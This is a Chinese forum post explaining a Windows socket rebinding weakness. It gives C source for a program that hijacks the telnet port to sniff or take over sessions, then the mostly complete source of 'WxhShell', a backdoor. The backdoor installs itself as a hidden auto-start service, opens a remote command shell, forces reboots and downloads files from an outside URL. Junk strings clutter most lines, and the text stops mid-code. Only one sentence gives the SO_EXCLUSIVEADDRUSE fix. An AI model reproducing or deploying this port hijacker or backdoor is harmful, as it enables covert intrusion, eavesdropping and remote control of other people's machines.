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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c<|;<8ew  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bf.@B0\  
BTqY _9  
  saddr.sin_family = AF_INET; !CUrpr/*  
=5isT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3x=T &X+  
qh{hpX)\D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Pi`}-GUe,  
]F P(,:Yw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Enyx+]9  
)V7bi^r  
  这意味着什么?意味着可以进行如下的攻击: ~0eJ6i  
r1f##  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !c/G'se  
s:CsUl|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MqRpG5 .  
Ny\p$v "p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G[GSt`LVS`  
#f d ;]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [BWA$5D)Ny  
.*+%-%CbP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {94qsVxQZ  
O8qA2@,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eh`n?C  
/SO 4O|b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,ir(~g+{g  
B*W)e$  
  #include k "7l\;N  
  #include J4EQhuQ  
  #include ?hHVawt  
  #include    {oOzXc6o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hV_bm@f/y  
  int main() ~qekM>z  
  { 'W(!N%u  
  WORD wVersionRequested;   
  DWORD ret; j#6@ cO'`  
  WSADATA wsaData; ap,%)on^  
  BOOL val; = wEU+R_#o  
  SOCKADDR_IN saddr; KPTp91  
  SOCKADDR_IN scaddr; ,NB?_\$c  
  int err; [M?'N w/[S  
  SOCKET s; 4Qwv:4La  
  SOCKET sc; r2"B"%;  
  int caddsize; UaG })  
  HANDLE mt; t*KgCk1  
  DWORD tid;   G*`Y~SJp  
  wVersionRequested = MAKEWORD( 2, 2 ); a*/%EP3  
  err = WSAStartup( wVersionRequested, &wsaData ); u4hC/!  
  if ( err != 0 ) { ;d5d$Np@m&  
  printf("error!WSAStartup failed!\n"); ^N# z&oh  
  return -1; Q6%dM'fR  
  } s 1~&PH^  
  saddr.sin_family = AF_INET; {{N*/ E^  
   @~1}n/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3M~*4  
J?DJA2o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `,~8(rIM  
  saddr.sin_port = htons(23); "0Ca;hSLM2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IHC {2 ^  
  { cqXP}5  
  printf("error!socket failed!\n"); &RF*pU>  
  return -1; oQ YmywY  
  } `0)'&HbLY  
  val = TRUE; D6z*J?3^#&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $1KvL8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ry_"sow4  
  { .A%*AlX  
  printf("error!setsockopt failed!\n"); M4rI]^lJ  
  return -1; /N=;3yWF  
  } 3Q;XvrGA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :$ qa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KF!?; q0J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <+3-(&  
:^bjn3b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a]NH >d  
  { Ga,+  
  ret=GetLastError(); 8>4@g!9E  
  printf("error!bind failed!\n"); \A#YL1hh  
  return -1; Ah#bj8}  
  } #"&<^  
  listen(s,2); 0[L)`7  
  while(1) u /6b.hDO  
  { ^VL",Nt  
  caddsize = sizeof(scaddr); ?xX9o  
  //接受连接请求 0Tp,b (; n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C] dK/~Z#r  
  if(sc!=INVALID_SOCKET) L>@:Xo@  
  { Fx!NRY_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2,T^L (]  
  if(mt==NULL) @3g$H[}  
  { +0DPhc  
  printf("Thread Creat Failed!\n"); /u&{=nU  
  break; tMbracm  
  } E'KKR1t  
  } Q95`GuI@  
  CloseHandle(mt); i (qPD_  
  } caH!(V}6  
  closesocket(s); }[FP"#  
  WSACleanup(); 6v1F. u  
  return 0; jVdRy{MH  
  }   ?mq<#/qb  
  DWORD WINAPI ClientThread(LPVOID lpParam) d$ f3 Cre  
  { ))9w)A@  
  SOCKET ss = (SOCKET)lpParam; ?j:U<TY)  
  SOCKET sc; d,y%:F 4  
  unsigned char buf[4096]; H 5,rp4H9  
  SOCKADDR_IN saddr; ;:Kd?Tz$  
  long num; A,fPl R  
  DWORD val; J>w3>8!>7  
  DWORD ret; `2I<V7SF$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k\/idd[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9jkaEn>m^  
  saddr.sin_family = AF_INET; =sFLzAu8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (6g;FD:"6  
  saddr.sin_port = htons(23); f5tkv<) %  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F4X0DRC,G  
  { &\p=s.y?j  
  printf("error!socket failed!\n"); 7iijATc  
  return -1; EEI !pi  
  } 6C@W6DR3N  
  val = 100; ca6kqh"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  "o{o9.w  
  { yH<a;@C  
  ret = GetLastError(); SI"y&[iw  
  return -1; X6Wj,a  
  } .ey=gI!x0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U#U'iPy  
  { ]Oh8LcE#BF  
  ret = GetLastError(); %G43g#pD  
  return -1; RX\l4H5;  
  } 8n'"RaLQ8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d&G#3}kOb%  
  { @a]O(S>Ub  
  printf("error!socket connect failed!\n"); }<=4A\LZ  
  closesocket(sc); !Zi_4 .(4  
  closesocket(ss); Z]^Ooy[pb  
  return -1; UB9n7L(@c  
  } Ms61FmA4  
  while(1) ZvVrbj&  
  { #]vs*Sz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ex`!C]sQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v<u`wnt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |,)=-21&;  
  num = recv(ss,buf,4096,0); lO+6|oF0  
  if(num>0) \2U FJ  
  send(sc,buf,num,0); |A/)b78'u  
  else if(num==0) >0c4C< _  
  break; :*<UCn""  
  num = recv(sc,buf,4096,0); N*$L#L$*  
  if(num>0) [$iKx6\  
  send(ss,buf,num,0); "tX=^4   
  else if(num==0) BXj]]S2  
  break; .?^a|]  
  } 9]]isE8r  
  closesocket(ss); %Bf;F;xuB  
  closesocket(sc); B\mRH V!  
  return 0 ; DnI31!+y  
  }  G9qN1q~  
#[LnDU8>9  
yE{(Ebm  
========================================================== %V;B{?>9zB  
A@81wv  
下边附上一个代码,,WXhSHELL }bA@QEJ  
GB&^<@  
========================================================== _Yqog/sG  
SSH 1Ge5|  
#include "stdafx.h" @4FG & >kQ  
Ro:DAxi @L  
#include <stdio.h> #=V[vbTY  
#include <string.h> xa&5o`>1G  
#include <windows.h> PN"s ^]4  
#include <winsock2.h> oEN^O:9e  
#include <winsvc.h> ed\umQ]   
#include <urlmon.h> %K/zVYGm&  
Z!eW_""wp  
#pragma comment (lib, "Ws2_32.lib") ^Ee"w7XjD  
#pragma comment (lib, "urlmon.lib") a\]g lw\;  
W[4 V#&Z  
#define MAX_USER   100 // 最大客户端连接数  |Ym3.hz  
#define BUF_SOCK   200 // sock buffer umJ!j&(  
#define KEY_BUFF   255 // 输入 buffer 8}_M1w6v  
ymo].  
#define REBOOT     0   // 重启 )Bo]+\2  
#define SHUTDOWN   1   // 关机 :41Ch^\E  
+`]AutNv  
#define DEF_PORT   5000 // 监听端口 #*|Gp_l+%  
+5xVgIk#  
#define REG_LEN     16   // 注册表键长度 2}<_l 2  
#define SVC_LEN     80   // NT服务名长度 QoBM2Q YO  
o-7,P RmKN  
// 从dll定义API \YMe&[C:o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _GF{Duxh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i[V\RKH*F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hwj:$mR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [PP &}.k4"  
tsf)+`vt  
// wxhshell配置信息 j.:I{!R#  
struct WSCFG { -qNun3  
  int ws_port;         // 监听端口 fnZ?YzLI  
  char ws_passstr[REG_LEN]; // 口令 2Q81#i'Cm  
  int ws_autoins;       // 安装标记, 1=yes 0=no F!*tE&Se+  
  char ws_regname[REG_LEN]; // 注册表键名 tmVGJ+gz  
  char ws_svcname[REG_LEN]; // 服务名 v3I-i|L<)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P g.j]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bh0hUE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FzM<0FJRX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <Y"h2#M"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mR3-+dB/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5!V%0EQqw  
q>5 K:5  
}; NO'37d  
^X\SwgD2w  
// default Wxhshell configuration Uz$.sa  
struct WSCFG wscfg={DEF_PORT, =b_/_b$q  
    "xuhuanlingzhe", QFX/x  
    1, (Rs052m1  
    "Wxhshell", K}a3Bj,  
    "Wxhshell", (@nE e?  
            "WxhShell Service",  J]4pPDm  
    "Wrsky Windows CmdShell Service", <%b a 3<sg  
    "Please Input Your Password: ", _|f_%S8a_=  
  1, T6^ H%;G  
  "http://www.wrsky.com/wxhshell.exe", yO*HJpc   
  "Wxhshell.exe" #sHt3z)6I  
    }; $Si|;j$?  
==]BrhZK  
// 消息定义模块 &|Cd1z#?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $ts1XIK%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,(y6XUV~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pr.+r?la]  
char *msg_ws_ext="\n\rExit."; 0hv}*NYd  
char *msg_ws_end="\n\rQuit."; 45aFH}w:  
char *msg_ws_boot="\n\rReboot..."; ApSzkPv*  
char *msg_ws_poff="\n\rShutdown..."; ^jB17z[  
char *msg_ws_down="\n\rSave to "; +.pri  
efX iZ  
char *msg_ws_err="\n\rErr!"; #BhDC.CcW  
char *msg_ws_ok="\n\rOK!"; `:#IZ  
lNbAt4]}f(  
char ExeFile[MAX_PATH]; \\9I:-j:p  
int nUser = 0; /^rJ`M[;  
HANDLE handles[MAX_USER]; #Mm1yXNu  
int OsIsNt; /#-zI#iK  
{NTMvJLm  
SERVICE_STATUS       serviceStatus; D&-cNxh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a%XF"*^v  
6z2WN|78  
// 函数声明 /L^pU-}Z0  
int Install(void); <1eD*sC?g  
int Uninstall(void); _2~+%{/m,  
int DownloadFile(char *sURL, SOCKET wsh); 5lrjM^E|  
int Boot(int flag); H{U(Rt]K  
void HideProc(void); aNDpCpy  
int GetOsVer(void); 1Rd2Xb  
int Wxhshell(SOCKET wsl); 35 d:r:  
void TalkWithClient(void *cs); Q$58 K9  
int CmdShell(SOCKET sock); K*9~ g('  
int StartFromService(void); q~6a$8+t  
int StartWxhshell(LPSTR lpCmdLine); Nf!WqD*je  
VxW>Xx G0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8{DW$Z tR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ge^(Ag}vE  
%pj T?G7  
// 数据结构和表定义 zJH:`~GxE  
SERVICE_TABLE_ENTRY DispatchTable[] = tb/`*Yl@  
{ dj2w_:&W  
{wscfg.ws_svcname, NTServiceMain}, (;cKv  
{NULL, NULL} j^6,V\;l  
}; BK)3b6L=%  
W'{o`O=GGr  
// 自我安装 ]47!Zo,  
int Install(void) )'i n}M  
{ ZO8r8 [  
  char svExeFile[MAX_PATH]; 'BX U '  
  HKEY key; iT=h }>  
  strcpy(svExeFile,ExeFile); B+4WnR1%T  
RXw }Tb/D8  
// 如果是win9x系统,修改注册表设为自启动 &|I{ju_  
if(!OsIsNt) { -58Sb"f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S5/p3;O\c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qlm7eS"sy  
  RegCloseKey(key); q_86nvB<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oCSJ<+[(C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &6&$vF65c  
  RegCloseKey(key); l&{+3aC:  
  return 0; OICH:(t_  
    } MmH(dp+  
  } 63HtZ=hO7  
} r*f:%epB%  
else { [vn"r^P  
WXFC e@  
// 如果是NT以上系统,安装为系统服务 (Qd@Q,@(s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4Ul*`/d  
if (schSCManager!=0) -'rb+<v  
{ hh8U/dVk*  
  SC_HANDLE schService = CreateService  Q5 =  
  ( F@<^  
  schSCManager, "sJ@_lp  
  wscfg.ws_svcname, }e-D&U  
  wscfg.ws_svcdisp, U[G5<&Z^  
  SERVICE_ALL_ACCESS, &UIS17cT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %TYe]^/'y  
  SERVICE_AUTO_START, 1 EwCF  
  SERVICE_ERROR_NORMAL, '#u=w yp  
  svExeFile, Z> <,t~o}  
  NULL, qk=OodEMK  
  NULL, ;nw}x4Y[  
  NULL, /E^j}H{  
  NULL, f{+X0Oj  
  NULL ZsN3 MbY  
  ); M5c *vs  
  if (schService!=0) d;v<rw  
  { RU+F~K<  
  CloseServiceHandle(schService); bo[[<j!"I  
  CloseServiceHandle(schSCManager); 8V@\$4@b!#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C] M{  
  strcat(svExeFile,wscfg.ws_svcname); plgiQr #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7VW/v4n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IPk"{T3  
  RegCloseKey(key); \4Z"s[8}  
  return 0; 'tY y_  
    } C^ZD Uj`  
  } &uXu$)IZ  
  CloseServiceHandle(schSCManager); N4w&g-  
} UQO?hZ!y/.  
} +?^lnoX  
5!qLJmd=  
return 1; CO{AC~  
} kk ZMoK  
b|u,[jEB  
// 自我卸载 _Kg"l5?B  
int Uninstall(void) no9=K4h`  
{ %h}3}p#4  
  HKEY key; 'Ooq.jaK;/  
r<pt_Cd  
if(!OsIsNt) { XL`i9kV?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zv~b-Tp  
  RegDeleteValue(key,wscfg.ws_regname); NT<}-^  
  RegCloseKey(key); i+~H~k}"X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @T)>akEOt  
  RegDeleteValue(key,wscfg.ws_regname); YzYj/,?r  
  RegCloseKey(key); /Y8{?  
  return 0; `q+Ug  
  } 'J:xTp  
} oB%j3aAH  
} LEA^o"NW.  
else { Y*YV/E.  
[Y8ot-6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G&#l3bkQ  
if (schSCManager!=0) |3=tF"h  
{ UB7C,:"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Xagz(tm/  
  if (schService!=0) 4_w{~  
  { |V mQ  
  if(DeleteService(schService)!=0) { M4K>/-9X+V  
  CloseServiceHandle(schService); NLZUAtx(  
  CloseServiceHandle(schSCManager); M 9/J!s  
  return 0; YiC_,8A~  
  } a3^({;k!0  
  CloseServiceHandle(schService); .1h1J  
  } M3YC@(N% k  
  CloseServiceHandle(schSCManager); 8g6G},Y0  
} `.YMbj#T  
} -XWlmw*i(g  
ty b-VO  
return 1; ` W{y  
} M~-jPY,+  
M (.Up  
// 从指定url下载文件 C[nacAi  
int DownloadFile(char *sURL, SOCKET wsh) T9]:, z  
{ jo ~p#l.'  
  HRESULT hr; A~#w gLGn  
char seps[]= "/"; -}P/<cu:  
char *token; ]-g4C t_V  
char *file; zN>tSdNkI-  
char myURL[MAX_PATH]; H)NT2@%{P  
char myFILE[MAX_PATH]; T@j@IEGH  
hA387?  
strcpy(myURL,sURL); 9`5qVM1O{  
  token=strtok(myURL,seps); qWw{c&{Q],  
  while(token!=NULL) O],]\M{GL  
  { 7-[^0qS  
    file=token; #& &  
  token=strtok(NULL,seps); rB.LG'GG]  
  } W(jP??up  
])mYE }g  
GetCurrentDirectory(MAX_PATH,myFILE); 5j#XNc)"  
strcat(myFILE, "\\"); dPyZzMes=  
strcat(myFILE, file); G$CI~0Se:  
  send(wsh,myFILE,strlen(myFILE),0); ~jM!8]=  
send(wsh,"...",3,0); Yjix]lUXVf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X XC(R  
  if(hr==S_OK) U[c^xz&  
return 0; jmva0K},SE  
else 99?: 9g  
return 1; P~u~`eH*  
CO"Nv  
} kqp*o+Oz',  
CYN")J8V  
// 系统电源模块 _rfGn,@BH  
int Boot(int flag) 2qDVAq^@  
{ ( 2i{8  
  HANDLE hToken; Y1L7sH 9  
  TOKEN_PRIVILEGES tkp; 0 A6% !h  
7A4_b8  
  if(OsIsNt) { K5:>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .u&GbM%Ga  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [TX5O\g![  
    tkp.PrivilegeCount = 1; /Pgc W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^:,I #]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "[wP1n!G  
if(flag==REBOOT) { "yc@_+"\+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qb >mUS  
  return 0; {%XDr,myd  
} Z)RV6@(  
else { Ib0@,yS[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c~{)vL0K  
  return 0; 992cy2,Fb  
} WcKL=Z?(  
  } ys Td'J  
  else { VTwJtWnq  
if(flag==REBOOT) { "D.`:9sk0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rT28q .  
  return 0; +<\.z*  
} W,p?}KiO T  
else { VVm8bl.q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pXq5|,aC  
  return 0; ,|Lf6k  
} 7Un5Y[FZo  
} Ah1fcXED  
i")ucrf  
return 1; 3NxwQ,~  
} +G lb  
Nm,9xq  
// win9x进程隐藏模块 F}{uY(hv"[  
void HideProc(void) A#8Dv&$Pr  
{ 0Nq6>^ %  
EHcgWlT u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6YpP/ K  
  if ( hKernel != NULL ) 8ZvozQE  
  { wU)vJsOq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +N>&b%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oO~LiK>  
    FreeLibrary(hKernel); @/0-`Y@?  
  } ^{w]r5d  
;_?RPWZ;MO  
return; 3ew`e"s  
} ;-@v1I;  
q8P$Md-=b1  
// 获取操作系统版本 =#sr4T  
int GetOsVer(void) Uh8c!CA8:\  
{ "[p-Iy1  
  OSVERSIONINFO winfo; \1cJ?/$_Of  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?(P3ZTk?.  
  GetVersionEx(&winfo); :igURr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >(39K  
  return 1; QzX|c&&>u2  
  else y759S)U>>p  
  return 0; B kWoK/f4  
} 2'5%EQW;0y  
8sGaq [  
// 客户端句柄模块 *:hHlH* t1  
int Wxhshell(SOCKET wsl) 5p`.RWls  
{ D_)n\(3  
  SOCKET wsh; )TV{n#n  
  struct sockaddr_in client; t +@UC+aW  
  DWORD myID; 6;vfl*  
9_<>#)u5  
  while(nUser<MAX_USER) FT+[[9i  
{ k^v P|*eu  
  int nSize=sizeof(client); ?^z.WQ|f@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  2/v9  
  if(wsh==INVALID_SOCKET) return 1; mq*Efb)!  
+-+%6O<C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =&xN dc  
if(handles[nUser]==0) #gd`X|<Ch  
  closesocket(wsh); N)b.$aC  
else D4e!A@LJ  
  nUser++; / 1R` E9  
  } t>izcO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1# -=|:U  
%`1 p8>n  
  return 0; tsvh/)V  
} /R% Xkb  
u?+i5=N9{  
// 关闭 socket 5$.e5y<&(  
void CloseIt(SOCKET wsh) i $:QOMA  
{ M h5>@-fEE  
closesocket(wsh); A9L {c!|-  
nUser--; -VVJf5/  
ExitThread(0); CBvvvgIo  
} >^q7:x\  
0281"aO  
// 客户端请求句柄 c-gpO|4>  
void TalkWithClient(void *cs) POtwT">z  
{ 6o!Y^^/U  
V'jvI  
  SOCKET wsh=(SOCKET)cs; 5fqQ;r  
  char pwd[SVC_LEN]; "hi)p9 _cR  
  char cmd[KEY_BUFF]; HE0@`(mCpa  
char chr[1]; 98x&2(N  
int i,j; >p;cbp[ht  
#)hJ.0~3  
  while (nUser < MAX_USER) { Bp>Z?"hTe  
1L\\](^ 3  
if(wscfg.ws_passstr) { #2\ 0#HN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xpjv @P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aHdXlmL  
  //ZeroMemory(pwd,KEY_BUFF); 3(n+5~{e  
      i=0; <1(j&U  
  while(i<SVC_LEN) { uiQRRT  
G34fxhh  
  // 设置超时 krI@N}OU  
  fd_set FdRead; o@!Uds0  
  struct timeval TimeOut; EmO{lCENk  
  FD_ZERO(&FdRead); @0{vA\  
  FD_SET(wsh,&FdRead); =2rkaBFC  
  TimeOut.tv_sec=8; <+\ w.!  
  TimeOut.tv_usec=0; ./# F,^F2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); # 2qDn^s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oYn|>`+6:y  
CV )v6f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VA^yv1We  
  pwd=chr[0]; [9U: :  
  if(chr[0]==0xd || chr[0]==0xa) { N=[# "4I  
  pwd=0; }2nmfm!  
  break; mOQN$d[  
  } "q,.O5q}Y  
  i++; y (w&6:  
    } Zj]jE%AT  
:t8?!9g  
  // 如果是非法用户,关闭 socket zm7IkYF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zF-R$_]av  
} Y)oF;ko:  
^vA"3Ixb!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y/(60H,{{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;VI/iwg  
mufJ@YS#  
while(1) { `: R7j f  
7I0[Ii  
  ZeroMemory(cmd,KEY_BUFF); Z>t,B%v  
)E hR qX9  
      // 自动支持客户端 telnet标准   @j/|U04_ Z  
  j=0; .Fe_Z)i>h  
  while(j<KEY_BUFF) { [W#M(`}D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); : 3 aZ_  
  cmd[j]=chr[0]; R$Or&:E ^  
  if(chr[0]==0xa || chr[0]==0xd) { K#>@T<  
  cmd[j]=0; Y_SB3 $])  
  break; }Jr!a M'  
  } v:7_ZD6kR  
  j++; aViZKps`m  
    } (SnrY O`#  
kl0|22"Gz  
  // 下载文件 6myF!  H=  
  if(strstr(cmd,"http://")) { 5_ \+8A*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V9%!B3Sb  
  if(DownloadFile(cmd,wsh)) jM%8h$&E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Xfy.v  
  else {I:nza  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zlhHSyK  
  } nQ5N\RAZ  
  else { z 7 s&7)a  
J% mtlA  
    switch(cmd[0]) { C1ZuDL)e  
  r]<?,xx [  
  // 帮助 )'3V4Z&  
  case '?': { % r>v^1Vo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "k'P #v{f  
    break; lc8zF5  
  } 8EBy5X}US  
  // 安装 OoqA`%  
  case 'i': { u>y/<9]q8  
    if(Install()) L55VS:'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pX LXkF?  
    else @}+F4Xh,L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ak'=/`+p  
    break; - D&d1`N4  
    } 76BA1x+G  
  // 卸载 c*c 8S~6  
  case 'r': { C >gC 99  
    if(Uninstall()) x3L0;:Fx8P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .2v)x  
    else YM<F7tp4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J7Y lmi  
    break;  Bl1^\[#  
    } 4u}jkd$]*  
  // 显示 wxhshell 所在路径 o_@6R"|  
  case 'p': { W#sCvI@   
    char svExeFile[MAX_PATH]; z1vSt[s  
    strcpy(svExeFile,"\n\r"); i~sW_f+  
      strcat(svExeFile,ExeFile); 7~ =r9-&G  
        send(wsh,svExeFile,strlen(svExeFile),0); |J:kL3g  
    break; @||GMA+|  
    } UJ^MS4;I3  
  // 重启 8^2E77s4U  
  case 'b': { dZIruZ)x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X*QQVj  
    if(Boot(REBOOT)) 2Cgq&\wS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NS3qNj  
    else { 1kdQh&~G  
    closesocket(wsh); 1h,m  
    ExitThread(0); t*dd/a  
    } d: {#Dk#  
    break; [+.P'6/[$R  
    } I\WBPI  
  // 关机 |:b!e  
